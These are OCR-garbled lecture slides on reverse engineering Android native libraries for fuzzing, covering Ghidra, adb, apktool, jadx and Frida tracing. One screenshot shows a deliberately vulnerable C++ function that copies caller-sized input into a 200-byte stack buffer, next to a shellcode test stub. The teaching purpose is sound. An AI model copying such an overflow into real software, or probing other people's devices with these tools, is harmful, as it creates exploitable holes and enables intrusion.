v &5 Exports

o Exported functions

° Identify entry points Ol ©° Java_com_example_mynativetest_MainActivit]
. » § Java_com_example_mynativetest_MainActivit
¢ Ideal for fUZZ harnessmg » § Java_com_example_mynativetest_MainActivit

v | Functions
v 5= Java_com_example_mynativetest_MainActivit| -

» ¥ Java_com_example_mynativetest_MainAct

» ¥ Java_com_example_mynativetest_MainAct

» ¥ Java_com_example_mynativetest_MainAct

Filter: Jav x| {2




Lesson 3: Introduction into Ghidra | Cross referencing

Cross referencing

Functions

Data

Usage of an unsafe functions

@ WONOWU & WN -

=

@® ) ® References to __aeabi_memcpy - 3 locations [CodeBrowser: AndroidUserlandExploitation:/libnative-lib.so]

Decompile: __aeabi_memcpy - (libnative-lib.se) S D&
/* WARNING: Control flow encountered bad instruction data */
void __aeabi_memcnv(void)

Edit Function Signature
{ Rename Function = .} .

lon = Truncating control flow here */
halt_baddat  Commit Params/Return P

¥ Commit Locals

Copy #C

Comments >

Find... #F

References > Find References to _ aeabi_memcpy

. Show References To Address
Properties

Help
|

References to __aeabi_memcpy - 3 locations l_@ $=B®™ X
 Reference(s)-

Location I Label 'Code Unit E' Context

0002be28 PTR___aeabi_me... addr __aeabi_memcpy DATA

00018a58 __aeabi_memcpy adr rl12,0x18a60 THUNK

00018a60 ldr pc=>__aeabi_memcpy, [r12,... COMPUTED_CALL
|Filter:

I




Lesson 3: Introduction into Ghidra | Loading and running

e Script Manager
e Windows->Script Manager
e Loading multiple libraries script

e https://ghidra.re/courses/GhidraClass/Advanc
edDevelopment/GhidraAdvancedDevelopmen
t.html

scripts

® AndroidL
File Edit Analysis Navi Search Select Tools Help
H &= BBEFR JIDULFRXYB: Bookmarks % oo | @

Program Trees Bonx

v 7 libnative-lib.so
.bss
.data
.got
.dynamic
fini_array
.data.rel.ro
.rodata
.ARM.extab
.ARM.exidx
.text

BEEOEEEEEE

v & Exports
» § Java_com_example_mynativetest_MainActivit
» § Java_com_example_mynativetest_MainActivit

v () Functions
v (3= Java_com_example_mynativetest_MainActivit

» ¥ Java_com_example_mynativetest_MainAct
» § Java_com_example_mynativetest_MainAct
» § Java_com_example_mynativetest_MainAct

Bytes: libnative-lib.so
Checksum Generator
Comments
= Console
5% Data Type Manager
Data Type Preview
C; Decompile: Java_com_example_mynativet... 3E
&4 Defined Data
84 Defined Strings
Disassembled View
Equates Table
External Programs
Function Call Graph
&) Function Call Trees: Java_com_example...
s Function Graph
Function Tags
Functions
i Listing: libnative-lib.so
@ Memory Map
Program Trees
¢ Python
< Register Manager
Relocation Table
» Script Manager
| Symbol References
[~ Sumhal Tahle ®T

Script Manager [CodeBrowser: Andro}dUserlandEproitation:/libnative-Iib.so]

| D YRS

PaTanT, TSP, w0t (10T
param_2, [sp,#local_14]
this, [sp,#local_cl]

param_1, [r0,#this]

param_1, [param_1,#0x2e0]
param_2, [sp,#local_10]

r3, [sp,#local_14]

param_1, [sp,#0x8]=>local_18
param_1,param_2

param_2,r3

r3, [sp,#0x0)=>local_18

r3

5p,#0x10

{r7, pc}

0oh

00h

FUNCTION
oom_example_mynativetest_MainActivit
E 0x0
E ox1
<RETURN>
local_c

Help

» Script Manager - 240 scripts

» [ Examples
[ Functiond
[ Functions
[ FunctionstartPatterns
D HeLP
D Images

Import
[ Instructions
D ios
[ neration
D Languages
) Mac 0s X
D Memory
[ Multiuser
D pcode

Status | Name

0% e Xm[iG:=d X

Category

Modified

AddCommentToProgra...
CreatePdbXmlFilesScrip...
GenerateLotsOfProgram...
CenerateMaskedBitStrin...
ResolveExternalReferen...
ShowEquatesinSelectio...
BuildFuncDB.java
DumpMissedStarts.java
PatternStats.java
TurnOnLanguage.java
WindowsResourceRefer...
CetSvmhalFarDvnamic_..

Examples

CodeAnalysis
CodeAnalysis

ins

https://labs.sentinelone.com/a-guide-to-ghidra-scripting-development-for-malware-researchers/

10/23/2019
10/23/2019
10/23/2019
10/23/2019
10/23/2019
10/23/2019
10/23/2019
10/23/2019
10/23/2019
10/23/2019
10/23/2019
10/23/2019



https://ghidra.re/courses/GhidraClass/AdvancedDevelopment/GhidraAdvancedDevelopment.html
https://labs.sentinelone.com/a-guide-to-ghidra-scripting-development-for-malware-researchers/

Lesson 3: Introduction into Ghidra | Export code for harnessing

‘00 @
e Exporting code for harnessing ZICW Edit  Analysis Navigation Search Select Tools Window
Open... 0 r IDULFRYB- @%@
Close 'libnative-lib.so'

Close Others =Sl 4l & Listing: libnative

Close All *|ibnative-libso X

|=] Save 'libnative-lib.so' %S
Save 'libnative-lib.so' As...

Save All
Imp ort FII e ‘@0 @ Export libnative-lib.so
BatCh Import'" ' Format: = C/C++ B }
open Flle SYStem"' | Output File: /Users/ux81jg/Desktop/libnative-lib.so - }
Add To Program... |

g Selection Only: Options... }
Export Program... |
Load PDB File... |
Download PDB File... l

—

Parse C Source... B ™ X |



Lesson 3: Introduction into Ghidra | Export code for harnessing

e Exporting code
e This can be used for fuzzing
e Symbols are needed




Lesson 3: Introduction into Ghidra | Wrap-up

e Summarise important points.
e Allow time for questions.

e Demo & Labs



Lesson 3: Introduction into Ghidra | Demo & Labs

e Summarise important points.
e Allow time for questions.

e Demo & Labs



Lesson 3: Reverse Engineering Android Native Libraries

e Android NDK

 Android Debugging Bridge
e Unzipping the APK
Android NDK

 Finding the native components
e Finding JNI Functions




Lesson 3: Reverse Engineering Android Native Libraries | Android NDK

e0e@
. . [ NON ) MyNativeTest [~/AndroidStudioProjects/, = expleitable-android-app ) iz app ) [ src ) [ main ) [ cpp
Y | - ) ) . . . - - g 1 Android ~ D o —
N atlve Deve O p m e nt Klt I exploitable-android-app » [ app & [ src main CPP s Native-lib.cpp 2 v n:app
—— = > manifests
. i Android + € = & — . native-lib.cpp ~ TN
e Precompiled Toolset - _ [ i e
& . Unable to execute Clang-Tidy: Cannot create proper § " cpp
H H H =i N manifests ! #include £ o L"S'.?dfid( /Library/Android/sdk/ndk/21.3.6528
. - 3 v r. ~/Library, naroid/s n .3,
® C re atl n g C/C++ LI b ra rl e S = > Java 241 3 v [g LM (toolch?\ins/llvm/r{rebuiIt/darwinfx86_
» Iz java (generated) 22 // For mprotect 8 : ::L‘d*:i“"'"“"‘a"d""d
S| v tucpp 23 #include <sys/mman.h> - S~
o
L LLV'VI 2 » Fincludes 24 > android
g . 25 #define MAX 80 » B arm-linux-androideabi
. . . 3 A CMakelLists.txt 26 #define PORT 8000 > mama
e Using 3th party libraries : TVESB ED 27 | #define SA struct sockaddr " e asm-generc
a 28
> IEres > b c++
=°f :res( Gented) 29 // Vulnerable function but stack_chk_fe » P camera
Y = 9 . 30 void cp(const char xptrBuf, jint size){ > Badrm
v @ Gradle Scripts 31 char buffer([200]; G
build.gradle (Project: MyNativeTest) 32 memset (buffer, 0x00, sizeof(buffer) ; gt:z
build.gradle (Module: app) 3 if(size <= 0 ){ i » b GLES3
) i 34 return; 5 » 1w i686-linux-android
19radle-wrapper.properties (CGradle Version) 35 Jelse { & > B KHR
= proguard-rules.pro (ProGuard Rules for app) 36 memcpy (buffer, ptrBuf, size); = > Iinl;).(
> media
J1gradle.properties (Project Properties) 37 ¢ > Bmmisc
settings.gradle (Project Settings) ;g I} g : mttd
w ne
Tilocal.properties (SDK Location) 40 /% il » B netinet
» 4 External Build Files 41 // Testing the shellcode > B netpacket
3 » > OMXAL
42 void testShellcode(){ £ Q=
o 43 § » scsi
3 44 & » D SLES
2 a5 unsianed char shellcadell = "\xA11>% » [ sound
> sys

https://developer.android.com/studio/projects/add-native-code



https://developer.android.com/studio/projects/add-native-code

LESSOn 3: Reverse Engineering Android Native Libraries | Android Debugging Bridge

° Android Debugg|ng Bndge fuzzing-android@Ffuzzingandroid-VirtualBox: ~
. . . :~S adb shell
e Pushing and Pulling files
° Package |nf0 3 init.environ.rc sdcard
bugreports init.goldfish.rc seapp_contexts
H ache init.ranchu-encrypt.rc selinux_version
¢ PaCkage lnSta“atlon init.ranchu-noencrypt.rc sepolicy
i init.ranchu.rc service_contexts
o Package download init.rc storage
init.usb.configfs.rc sSys
° init.usb.rc system
Phone Info init.zygote32.rc ueventd.goldfish.rc
mnt ueventd.ranchu.rc
° L()§§S ile_contexts.bin oem ueventd.rc
stab.goldfish proc var
° She“ stab.ranchu-encrypt property contexts vendor

stab.ranchu-noencrypt root

init sbin
generic:/ # I

https://www.automatetheplanet.com/adb-cheat-sheet/



https://www.automatetheplanet.com/adb-cheat-sheet/

LeSSOn 3: Reverse Engineering Android Native Libraries | Android Debugging Bridge

e Pushing files to device
= adb push “source file” “destination path” fuzzin...

$ adb push test.txt /data/local/tmp

= “adb push /path/to/file /directory/on/device” R ERINTENTREEISTIeS

e Pulling files from device
o adb pull “source file” “destination path”

fuzzin...

$ adb pull /data/local/tmp/test.txt /tmp
/data/local/tmp/test.txt: 1 file pulled, 0 skipped.

= "adb pull /path/to/file” “destination path” ttmpS 15 test.txt

test. txt




LESSOn 3: Reverse Engineering Android Native Libraries | Android Debugging Bridge

fuzzing-a... fi g - fuzzing-a..

package:
package:
package:
package:
package:
package:
package:
package:
package:
package:
package:
package:
package:
package:
package:
package:
package:
package:
package:

e Package Info

e adb shell pm list packages —f

= $ adb shell pm list packages -f
/data/app/SmokeTestApp/SmokeTestApp.apk=com.android.smoketest
/system/priv-app/CtsShimPrivPrebuilt/CtsShimPrivPrebuilt.apk=com.android.cts.priv.ctsshim
/system/app/YouTube/YouTube.apk=com.google.android.youtube
/system/priv-app/GoogleExtServices/GoogleExtServices.apk=com.google.android.ext.services
/data/app/CubelLiveWallpapers/CubeLiveWallpapers.apk=com.example.android.livecubes
/system/priv-app/TelephonyProvider/TelephonyProvider.apk=com.android.providers.telephony
/system/priv-app/Velvet/Velvet.apk=com.google.android.googlequicksearchbox
/system/priv-app/CalendarProvider/CalendarProvider.apk=com.android.providers.calendar
/system/priv-app/MediaProvider/MediaProvider.apk=com.android.providers.media
/system/priv-app/GoogleOneTimeInitializer/GoogleOneTimeInitializer.apk=com.google.android.onetimeinitializer
/system/app/GoogleExtShared/GoogleExtShared. apk=com.google.android.ext.shared
/system/app/Protips/Protips.apk=com.android.protips
/system/priv-app/DocumentsUI/DocumentsUI.apk=com.android.documentsui
/system/priv-app/ExternalStorageProvider/ExternalStorageProvider.apk=com.android.externalstorage
/system/app/HTMLViewer /HTMLViewer .apk=com.android.htmlviewer
/system/priv-app/MmsService/MmsService.apk=com.android.mms.service
/system/priv-app/DownloadProvider/DownloadProvider.apk=com.android.providers.downloads
/system/app/PrebuiltBugle/PrebuiltBugle.apk=com.google.android.apps.messaging
J/data/app/com.example.mynativetest-2/base.apk=com.example.mynativetest

fuzzing-a... g-a.. Fi ng-a..

adb shell pm list packages

fuzzing-a.. fuzzing

.android.smoketest
.android.cts.priv.ctsshim
.google.android.youtube
.google.android.ext.services
.example.android. livecubes
.android.providers.telephony
.google.android.googlequicksearchbox
.android.providers.calendar
.android.providers.media
.google.android.onetimeinitializer
.google.android.ext.shared
.android.protips
.android.documentsui
.android.externalstorage
.android.htmlviewer
.android.mms.service
.android.providers.downloads
.google.android.apps.messaging
.example.mynativetest

$ adb shell pm list packages




LESSOn 3: Reverse Engineering Android Native Libraries | Android Debugging Bridge
e Package Installation

* Install Package i
o adb install MYPACKAGE.apk /i

$ adb install -t -r com.example-stack.apk

$

e Uninstall Package

fuzzing-andr...

] adb unlnsta” packagena me - $ adb uninstall com.example.mynativetest

Success
|




LeSSOn 3: Reverse Engineering Android Native Libraries | Android Debugging Bridge
e Package download

e Find package

fuzzing-android@fuzzingandroid-VirtualBox: ~/Downloads Q = - o

= adb shell pm list packages -f | grep youtube

fuzzing-android@fuzz...

$ adb shell pm list packages | grep youtube
package:com.google.android.
$ adb shell pm list packages -f | grep youtube
package: /system/app/YouTube/YouTube.apk=com.google.android.
® adb pUIl /path—to—apk/myapp.a pk $ adb pull /system/app/YouTube/YouTube.apk
/system/app/YouTube/YouTube.apk: 1 file pulled 0 skipped. 0.4 MB/s (32187174 bytes in 71.757s)
: $
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e Phone Info

« adb get-state (print device state)
adb get-serialno (get the serial number)
adb shell dumpsys iphonesybinfo (get the IMEI)
adb shell netstat (list TCP connectivity)
adb shell pwd (print current working directory)
adb shell dumpsys battery (battery status)
adb shell pm list features (list phone features)
adb shell service list (list all services)
adb shell dumpsys activity
<package>/<activity> (activity info)
adb shell ps (print process status)
adb shell wm size (displays the current screen
resolution)
dumpsys window windows | grep -E
'mCurrentFocus | mFocusedApp' (print current
app's opened activity)

device

fuzzing-android@fuzzingandroid-VirtualBox: ~/Downloads

fuzzing-android@fuzz.. fuzzing-android@fuzz... fuzzing-android@fuzz...
$ adb get-state

$ adb get-serialno

192.168.192.31:5556

/

$ adb shell pwd

S adb shell service list

Found 117 services:

carrier_config: [com.android.internal.telephony.ICarrierConfigLoader]
phone: [com.android.internal.telephony.ITelephony]

isms: [com.android.internal.telephony.ISms]

iphonesubinfo: [com.android.internal.telephony.IPhoneSubInfo]
simphonebook: [com.android.internal.telephony.IIccPhoneBook]
telecom: [com.android.internal.telecom.ITelecomService]

isub: [com.android.internal.telephony.ISub]

contexthub_service: [android.hardware.location.IContextHubService]
dns_listener: [android.net.metrics.IDnsEventListener]

connmetrics: [android.net.IIpConnectivityMetrics]
connectivity_metrics_logger: [androild.net.IConnectivityMetricsLogger]
imms: [com.android.internal.telephony.IMms]

media_projection: [android.media.projection.IMediaProjectionManager]
launcherapps: [android.content.pm.ILauncherApps]

shortcut: [android.content.pm.IShortcutService]

fingerprint: [android.hardware.fingerprint.IFingerprintService]
trust: [android.app.trust.ITrustManager]

media_router: [android.media.IMediaRouterService]

media_session: [android.media.session.ISessionManager]

restrictions: [android.content.IRestrictionsManager]

print: [android.print.IPrintManager]

graphicsstats: [android.view.IGraphicsStats]

assetatlas: [android.view.IAssetAtlas]

dreams: [android.service.dreams.IDreamManager]
commontime_management: []

network_time_update_service: []

samplingprofiler: []

diskstats: []
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e Logs
fuzzing-a... fuzzing-a... s i - a.. F ng-a..

$ adb logcat
beginning of crash
. 05-17 10:59:32.672 1632 1738 E AndroidRuntime: FATAL EXCEPTION: CallLogProviderWorker
Y DQVlce Log :59:32. 1632 1738 E AndroidRuntime: Process: android.process.acore, PID: 1632
05-17 10:59:32.672 1632 1738 E AndroidRuntime: DeadSystemException: The system died; earlier logs will poi
beginning of system
a (j k) | :01:46.418 2078 2078 E LockSettingsStorage: Cannot read file java.io.FileNotFoundException: /data
a Ogcat . : open failed: ENOENT (No such file or directory)
:01:46.420 2078 2078 E LockSettingsStorage: Cannot read file java.ilo.FileNotFoundException: /data
ENOENT (No such file or directory)
11:01:46.430 2078 2078 E LockSettingsStorage: Cannot read file java.io.FileNotFoundException: /data
open failed: ENOENT (No such file or directory)
. 11:01:46.433 2078 2078 E LockSettingsStorage: Cannot read file java.ilo.FileNotFoundException: /data
Y t b g p t 5 g failed: ENOENT (No such file or directory)
prln u re Or S :01:46.438 2078 2078 E LockSettingsStorage: Cannot read file java.io.FileNotFoundException: /data
i ENOENT (No such file or directory)

a (j k) t) :01:46.439 2078 2078 I SystemServiceManager: Starting phase 480
a Ugre pOrt :01:46.582 2078 2078 W DevicePolicyManagerService: Trying to set ro.device_owner, but it has alrea
.644 2078 2078 I SystemServiceManager: Starting phase 500
.835 2078 2078 I WifiService: WifiService starting up with Wi-Fi enabled
.875 2078 2078 D WifiService: setWifiEnabled: true pid=2078, uid=1000
:47.055 2078 2078 D ZenLog : config: cleanUpZenRules,ZenModeConfig[user=0,allowCalls=true,allq
owMessages=false,allowCallsFrom=contacts,allowMessagesFrom=contacts,allowReminders=true,allowEvents=true,al
owWhenScreenOn=true,automaticRules={40e2e27b6f254f95932ae6a1bfa44a5d=ZenRule[enabled=false,snoozing=false,nd
_MODE_ALARMS,conditionId=conditio /android/schedule?days=1.2.3.4.5&start=22.0&end=7.0&exitAtAlarm=false,cq
dition://android/schedule?days=1.2.3.4.5&start=22.0&end=7.0&exitAtAlarm=Ffalse,summary=...,linel=...,line2=. |
SE,flags=2],component=ComponentInfo{android/com.android.server.notification.ScheduleConditionProvider},id=4§
a44a5d,creationTime=130948,enabler=null], 62eaeaea2d9a4c5186d353fb6240f3ae=ZenRule[enabled=false,snoozing=f3
=ZEN_MODE_ALARMS ,conditionId=condition://android/schedule?days=6.7&start=23.30&end=10.0&exitAtAlarm=false,cd
dition: //androtd/schedule’days 6.7&start=23.30&end=10.0&exitAtAlarm=false,summary= ,linel=...,line2
lags=2],component=ComponentInfo{android/com.android.server.notification.ScheduleConditionProvider},id=62eaed
ae,creationTime=130949,enabler=null], 67ae51e2837f4cc8aa97798652968a06=ZenRule[enabled=false,snoozing=false,
ODE_ALARMS,conditionId=condition://a id/event?userId=-10000&calendar=&reply=1,condition=Condition[id=cond
erId=-10000&calendar=&reply=1,summary .,linel=...,line2=...,1icon=0,state=STATE_FALSE,flags=2],component=Cqg
android.server.notification.EventConditionProvider},id=67ae51e2837f4cc8aa97798652968a06,creationTime=130953
e=null],Diff[]
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e Shell

+1 fuzzing-android@fuzzingandroid-VirtualBox: ~
:~$ adb shell
* adb root Shell eneric:/ $ su
generic:/ # 1s
) adb She” init.environ.rc sdcard

bugreports init.goldfish.rc seapp_contexts
ache init.ranchu-encrypt.rc selinux_version
harger init.ranchu-noencrypt.rc sepolicy
init.ranchu.rc service_contexts
init.rc storage
init.usb.configfs.rc sys
init.usb.rc system

init.zygote32.rc ueventd.goldfish.rc
mnt ueventd.ranchu.rc
ile_contexts.bin oem ueventd.rc
stab.goldfish proc var
stab.ranchu-encrypt property contexts vendor
stab.ranchu-noencrypt root
init sbin
generic:/ # I
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e Android Package (APK)

* Filetypes . .
= apk Manifest
5 .xapk \ (AndroidManifest.xml) !
s N\ [ 3
o .apks :
P Signatures Assets
° .apkm (META-INF) (assets/)
- J N J
4 N\ 4 N
Compiled resources Native libraries
(resources.arsc) (lib/)
. J/ (. J
'R B - iy
Dalvik bytecode Resources
(classes.dex) (res/)
(. J . J

https://www.researchgate.net/figure/Figure-APK-file-structure fig2 316793316



https://www.researchgate.net/figure/Figure-APK-file-structure_fig2_316793316

LESSOn 3: Reverse Engineering Android Native Libraries | Unzipping the APK

e Change extension to .zip
e Unzip file

<1 fuzzing-android@fuzzingandroid-VirtualBox: ~/Downloads

fuzzing-android. fuzzing-android... fuzzing-android... fuzzing-android fuzzi
$ mv YouTube.apk YouTube.zip
$ unzip YouTube.zip
Archive: YouTube.zip
extracting: META-INF/services/com.google.protobuf.GeneratedExtensionRegistrylLoader
extracting: android-support-multidex.version.txt
extracting: assets/kazoo/bubbles_bokeh_particle_screen.png
extracting: assets/kazoo/bubbles_particle_screen.png
extracting: assets/kazoo/dance_party_spotlight.png
extracting: assets/kazoo/dream_plasma_overlay_alpha.png
extracting: assets/kazoo/dream_time_blur_weights.png
extracting: assets/kazoo/frame_blurred.png
extracting: assets/kazoo/halloween_frame.png
extracting: assets/kazoo/lut_BEAM.png
extracting: assets/kazoo/lut_BEAM_2.png
extracting: assets/kazoo/lut_BLUSH.png
extracting: assets/kazoo/lut_BUBBLES.png

K=
I:
E:
It
K=
I:
K
It
i
I:
Ex

e APKTool

"Disassembling resources to nearly original form
(including resources.arsc, classes.dex, 9.png. and XMLs)
Rebuilding decoded resources back to binary APK/JAR

Organizing and handling APKs that depend on framework
resources

Smali Debugging (Removed in 2.1.0 in favor of IdeaSmali)
Helping with repetitive tasks”

[+ fuzzing-android@fuzzingandroid-VirtualBox: ~/Downloads

fuzzin... fuzzin... fuzzin... fuzzin... fuzzin...
$ apktool d YouTube.zip

Using Apktool 2.5.0 on YouTube.zip

Loading resource table...

Decoding AndroidManifest.xml with resources...

Loading resource table from file: /home/fuzzing-android/.local/share/apktool/framework/1.apk

Regular manifest package...

Decoding file-resources...

Decoding values */* XMLs...

Copying assets and libs...

Copying unknown files...

Copying original files...

Copying META-INF/services directory

https://ibotpeaches.github.io/Apktool/



https://ibotpeaches.github.io/Apktool/
https://github.com/JesusFreke/smali/wiki/smalidea
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e Jadx
e Search for native
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e Using Jadx search functionality

File View Navigation Tools Help

DB @EFlsACo@ESL
v #3 com.example-stack.apk
v @ Source code
» 8 android.support.vé4
» 8 androidx
~ @ com.example.mynativetest
» © BuildConfig
v © MainActivity
» @ CommunicationThread
» @ ServerThread
» @ updateUIThread
¥ SERVERPORT int
a readBytes int
o serverSocket ServerSocket
a serverThread Thread
o text TextView
a updateConversationHandler Handler
%@ {...} void
& leakMemory(byte[]) String
e onCreate(Bundle) void
@ onStop() void
@ onclickSendMessage(View) void
¢ overFlow(byte[]l, int) void
» ©R
v & Resources
v @ 1lib
v [ armeabi-v7a
@ libnative-lib.so
» [ META-INF
» [ res
=l AndroidManifest.xml
classes.dex
» resources.arsc
& APK signature

*New Project - jadx-gui

© com.example.mynativetest.MainActivity X

import java.io.BufferedoutputStream;

import java.io.IOException;

import java.io.UnsupportedEncodingException;
import java.net.ServerSocket;

import java.net.Socket;

w
%)

public class MainActivity extends AppCompatActivity {
public static final int SERVERPORT = 6000;
int readBytes;
private ServerSocket serverSocket;
Thread serverThread = null;
private TextView text;
Handler updateConversationHandler;

public native String leakMemory(bytel[] bArr);
public native void overFlow(byte[] bArr, int 1);
public native String stringFromJNI();

static {

35 System.loadLibrary("native-lib");

b;

/* access modifiers changed from: protected */

39 public void onCreate(Bundle savedInstanceState) {
40 super.onCreate(savedInstanceState);
41 setContentView(R.layout.activity_main);
45 ((Textview) findviewById(R.id.sample_text)).setText(stringFromINI());
47 this.updateConversationHandler = new Handler();
49 this.serverThread = new Thread(new ServerThread());
50 this.serverThread.start();
}
54 public void onclickSendMessage(View v) {

erride // androidx.core.app.ComponentActivity, androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.Fragment4

Code | Smali
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e Frida Tools
= frida-server
e |nstrumentation
e JavaScript DYNAMIC INSTRUMENTATION TOOLKIT

Hook and Intercept JNI calls
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* Running Frida-server on device

$ adb push frida-server-arm7 /data/local/tmp

o adb pUSh frida_server /data/|0ca|/tmp frida-server-arm7: 1 file pushed, © Sklpp?d 0.5 MBésac(jéﬂ:ZZiio bytes in 30.818s)
. generic:/ $ su
= ChmOd u+x frlda-server generic:/ # cd /data/local/tmp

generic:/data/local/tmp # chmod u+x frida-server-arm7
generic:/data/local/tmp # ./frida-server-arm7
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e Forward Frida Server Port
o Default port 27042

= adb forward tcp:localport tcp:remoteport

S adb forward tcp:27042 tcp:27042

o |



LESSOn 3: Reverse Engineering Android Native Libraries | Finding JNI Functions

. . $ frida-ps -H 127.0.0.1:27042
* Frida-ps get process list

o Frida-ps —H 127.0.0.1:27042

android.process.media

audioserver

cameraserver

com.android.inputmethod.latin
com.android.phone

com.android.systemutl

com.example.mynativetest
com.google.android.apps.nexuslauncher
com.google.android.dialer
com.google.android.ext.services
com.google.android.gms
com.google.android.gms.persistent
com.google.android.gms.utl
com.google.android.gms.unstable
com.google.android.googlequicksearchbox:interactor
com.google.android.googlequicksearchbox:search
com.google.android. talk
com.google.android.talk:matchstick
com.google.android.youtube
com.google.process.gapps

= Get PID of running process
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» Frida-trace to hook/intercept JNI calls Frida-trace —H 127.0.0.1:27042 —p 4072 —i “Java_*"
s Hook into Methods using instrumentation : S frida-trace -H 127.0.0.1:27042 -p 4072 -1 "Java*"

Instrumenting...

Java_java_1io_ObjectOutputStream_doublesToBytes: Auto-generated handler at "/home/fuzzing-android/Deskt
op/__handlers__/libopenjdk.so/Java_java_io_ObjectOutputStream__ae2f5089.js"
Java_java_1io_UnixFileSystem_1list@: Auto-generated handler at "/home/fuzzing-android/Desktop/__handlers

O Pr‘ocess |d __/libopenjdk.so/Java_java_io_UnixFileSystem_list@.js"
Java_sun_nio_ch_SocketChannelImpl_sendOutOfBandData: Auto-generated handler at "/home/fuzzing-android/
Desktop/__handlers__/libopenjdk.so/Java_sun_nio_ch_SocketChannelImp_823bfff7.js"

° 'p 4072 Java_sun_nio_ch_Net_blockOruUnblock4: Auto-generated handler at "/home/fuzzing-android/Desktop/__handle

rs__/libopenjdk.so/Java_sun_nio_ch_Net_blockOruUnblock4. js"
H Java_sun_nio_ch_DatagramDispatcher_read®: Auto-generated handler at "/home/fuzzing-android/Desktop/__h
N SearCh Identlfler andlers__/libopenjdk.so/Java_sun_nio_ch_DatagramDispatcher_read0. js"
Cu 7 Java_sun_nio_ch_Net_blockOruUnblocké6: Auto-generated handler at "/home/fuzzing-android/Desktop/__handle
° _]ava rs__/libopenjdk.so/Java_sun_nio_ch_Net_blockOrunblocké6. js"
- Java_java_io_UnixFileSystem_createDirectory@: Auto-generated handler at "/home/fuzzing-android/Desktop
/__handlers__/libopenjdk.so/Java_java_io_UnixFileSystem_crea_ba6e3442. js"
Java_sun_nio_ch_Net_isIPv6Available0d: Auto-generated handler at "/home/fuzzing-android/Desktop/__handl
ers__/libopenjdk.so/Java_sun_nio_ch_Net_isIPv6Available0.js"
Java_java_nio_MappedByteBuffer_forced: Auto-generated handler at "/home/fuzzing-android/Desktop/__hand
lers__/libopenjdk.so/Java_java_nio_MappedByteBuffer_forceo0.js"
Java_java_1io_Console_istty: Auto-generated handler at "/home/fuzzing-android/Desktop/__handlers__/libo
penjdk.so/Java_java_io_Console_istty.js"
Java_java_io_UnixFileSystem_getlLength®: Auto-generated handler at "/home/fuzzing-android/Desktop/__han
dlers__/libopenjdk.so/Java_java_io_UnixFileSystem_getLength@. js"
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» Frida-trace to hook/intercept JNI calls Frida-trace —H 127.0.0.1:27042 —p 4072 —| “Java_*"
s Hook into Methods using instrumentation : S frida-trace -H 127.0.0.1:27042 -p 4072 -1 "Java*"

Instrumenting...

Java_java_1io_ObjectOutputStream_doublesToBytes: Auto-generated handler at "/home/fuzzing-android/Deskt
op/__handlers__/libopenjdk.so/Java_java_io_ObjectOutputStream__ae2f5089.js"
Java_java_1io_UnixFileSystem_1list@: Auto-generated handler at "/home/fuzzing-android/Desktop/__handlers

O Pr‘ocess |d __/libopenjdk.so/Java_java_io_UnixFileSystem_list@.js"
Java_sun_nio_ch_SocketChannelImpl_sendOutOfBandData: Auto-generated handler at "/home/fuzzing-android/
Desktop/__handlers__/libopenjdk.so/Java_sun_nio_ch_SocketChannelImp_823bfff7.js"

° 'p 4072 Java_sun_nio_ch_Net_blockOruUnblock4: Auto-generated handler at "/home/fuzzing-android/Desktop/__handle

rs__/libopenjdk.so/Java_sun_nio_ch_Net_blockOruUnblock4. js"
H Java_sun_nio_ch_DatagramDispatcher_read®: Auto-generated handler at "/home/fuzzing-android/Desktop/__h
N SearCh Identlfler andlers__/libopenjdk.so/Java_sun_nio_ch_DatagramDispatcher_read0. js"
Cu 7 Java_sun_nio_ch_Net_blockOruUnblocké6: Auto-generated handler at "/home/fuzzing-android/Desktop/__handle
° _]ava rs__/libopenjdk.so/Java_sun_nio_ch_Net_blockOrunblocké6. js"
- Java_java_io_UnixFileSystem_createDirectory@: Auto-generated handler at "/home/fuzzing-android/Desktop
/__handlers__/libopenjdk.so/Java_java_io_UnixFileSystem_crea_ba6e3442. js"
Java_sun_nio_ch_Net_isIPv6Available0d: Auto-generated handler at "/home/fuzzing-android/Desktop/__handl
ers__/libopenjdk.so/Java_sun_nio_ch_Net_isIPv6Available0.js"
Java_java_nio_MappedByteBuffer_forced: Auto-generated handler at "/home/fuzzing-android/Desktop/__hand
lers__/libopenjdk.so/Java_java_nio_MappedByteBuffer_forceo0.js"

1 H H “" k” Java_java_1io_Console_istty: Auto-generated handler at "/home/fuzzing-android/Desktop handlers 1ibo
e Instrumenting all call starting with “Java_ e o R T /home/fuzzing / /— -

Java_java_io_UnixFileSystem_getlLength®: Auto-generated handler at "/home/fuzzing-android/Desktop/__han
dlers__/libopenjdk.so/Java_java_io_UnixFileSystem_getLength@. js"
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e Frida-trace to hook/intercept JNI calls
= Sending data to the application
= Triggers hooks P P o

_/libopenjdk.so/Java_sun_nio_ch_DatagramChannelI_23857602.js"

Java_sun_nio_ch_Net_localPort: Loaded handler at "/home/fuzzing-android/Desktop/__handlers__/libopenjdk.s
o/Java_sun_nio_ch_Net_localPort.js"

Java_java_io_UnixFileSystem_setPermission®: Loaded handler at "/home/fuzzing-android/Desktop/__handlers__
/libopenjdk.so/Java_java_io_UnixFileSystem_setP_8124af59.js"

Java_sun_nio_ch_DatagramDispatcher_readv0@: Loaded handler at "/home/fuzzing-android/Desktop/__handlers__/
libopenjdk.so/Java_sun_nio_ch_DatagramDispatcher_readvO. js"

Java_sun_nilo_ch_DatagramDispatcher_writevO: Loaded handler at "/home/fuzzing-android/Desktop/__handlers__
/libopenjdk.so/Java_sun_nio_ch_DatagramDispatch_56c728ce. js"

Java_java_nio_Bits_copyToShortArray: Loaded handler at "/home/fuzzing-android/Desktop/__handlers__/libope
njdk.so/Java_java_nio_Bits_copyToShortArray.js"

Java_java_util_prefs_FileSystemPreferences_chmod: Loaded handler at "/home/fuzzing-android/Desktop/__hand
lers__/libopenjdk.so/Java_java_util_prefs_FileSystemP_6a4f9b81. js"
Java_com_example_mynativetest_MainActivity_overFlow: Loaded handler at "/home/fuzzing-android/Desktop/__h
andlers__/libnative_lib.so/Java_com_example_mynativetest_Ma_52892a74.js"
Java_com_example_mynativetest_MainActivity_leakMemory: Loaded handler at "/home/fuzzing-android/Desktop/_
_handlers__/libnative_lib.so/Java_com_example_mynativetest_Ma_327c5d1f.js"
Java_com_example_mynativetest_MainActivity_stringFromINI: Loaded handler at "/home/fuzzing-and d/Deskto
p/__handlers__/libnative_lib.so/Java_com_example_mynativetest_Ma_59e14682.js"

Started tracing 80 functions. Press Ctrl+C to stop.

69231 ms
69281 ms
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e Creating Scripts Using JavaScript
e onEnter
e onlLeave

Interceptor.attach(DebugSymbol. fromName( ).address, {
onEnter: (args) {
console. log( )]
